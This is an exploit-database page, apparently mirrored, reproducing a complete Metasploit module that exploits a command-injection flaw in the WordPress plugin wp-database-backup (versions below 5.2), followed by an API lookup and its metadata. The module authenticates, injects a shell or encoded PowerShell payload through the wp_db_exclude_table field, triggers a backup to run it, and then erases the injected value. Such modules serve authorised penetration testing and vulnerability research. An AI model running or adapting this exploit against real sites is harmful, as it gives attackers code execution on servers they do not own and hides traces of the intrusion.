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"WP Database Backup < 5.2 - Remote Code Execution (Metasploit)"

Author

Metasploit

Platform

php

Release date

2019-07-29

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WP Database Backup RCE',
      'Description'    => %q(
        There exists a command injection vulnerability in the Wordpress plugin
        `wp-database-backup` for versions < 5.2.

        For the backup functionality, the plugin generates a `mysqldump` command
        to execute. The user can choose specific tables to exclude from the backup
        by setting the `wp_db_exclude_table` parameter in a POST request to the
        `wp-database-backup` page. The names of the excluded tables are included in
        the `mysqldump` command unsanitized. Arbitrary commands injected through the
        `wp_db_exclude_table` parameter are executed each time the functionality
        for creating a new database backup are run.

        Authentication is required to successfully exploit this vulnerability.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Mikey Veenstra / Wordfence',  # Vulnerability Discovery
        'Shelby Pace'                  # Metasploit module
      ],
      'References'     =>
        [
          [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
        ],
      'Platform'       => [ 'win', 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          [
            'Windows',
            {
              'Platform'        => 'win',
              'Arch'            => [ ARCH_X86, ARCH_X64 ]
            }
          ],
          [
            'Linux',
            {
              'Platform'        =>  'linux',
              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' =>  'printf'
            }
          ]
        ],
      'DisclosureDate' => '2019-04-24',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
      OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
      OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
    ])
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  changelog_uri
    )

    if res && res.code == 200
      version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
      return CheckCode::Detected unless version && version.length > 1

      vprint_status("Version of wp-database-backup detected: #{version[1]}")
      return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
    end
    CheckCode::Safe
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie

    res = create_exclude_table(cookie)
    nonce = get_nonce(res)
    create_backup(cookie, nonce)

    clear_exclude_table(cookie)
  end

  def create_exclude_table(cookie)
    @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
    res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_get'  =>  { 'page'  =>  'wp-database-backup' }
    )

    fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
    print_good('Reached the wp-database-backup settings page')
    if datastore['TARGET'] == 1
      comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
      comm_payload = comm_payload.join('&&')
      comm_payload = comm_payload.gsub('\'', '')
      comm_payload = "; #{comm_payload} ;"
    else
      comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
    end

    table_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_post' =>
      {
        'wpsetting'                       =>  'Save',
        'wp_db_exclude_table[wp_comment]' =>  comm_payload
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
    print_good('Successfully added payload as an excluded table')

    res.get_html_document
  end

  def get_nonce(response)
    fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response

    div_res = response.at('p[@class="submit"]')
    fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res

    wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
    fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1

    wpnonce[1]
  end

  def create_backup(cookie, nonce)
    first_res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_get'  =>
      {
        'page'      =>  'wp-database-backup',
        '_wpnonce'  =>  nonce,
        'action'    =>  'createdbbackup'
      }
    )

    res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_get'  =>
      {
        'page'          =>  'wp-database-backup',
        'notification'  =>  'create'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
    print_good('Successfully created a backup of the database')
  end

  def clear_exclude_table(cookie)
    res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_post' =>
      {
        'wpsetting'                       =>  'Save',
        'wp_db_exclude_table[wp_comment]' =>  'wp_comment'
      }
    )

   fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
   print_good('Successfully deleted the payload from the excluded tables list')
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47187/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47187/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47187/41563/wp-database-backup-52-remote-code-execution-metasploit/download/", "exploit_id": "47187", "exploit_description": "\"WP Database Backup < 5.2 - Remote Code Execution (Metasploit)\"", "exploit_date": "2019-07-29", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                    

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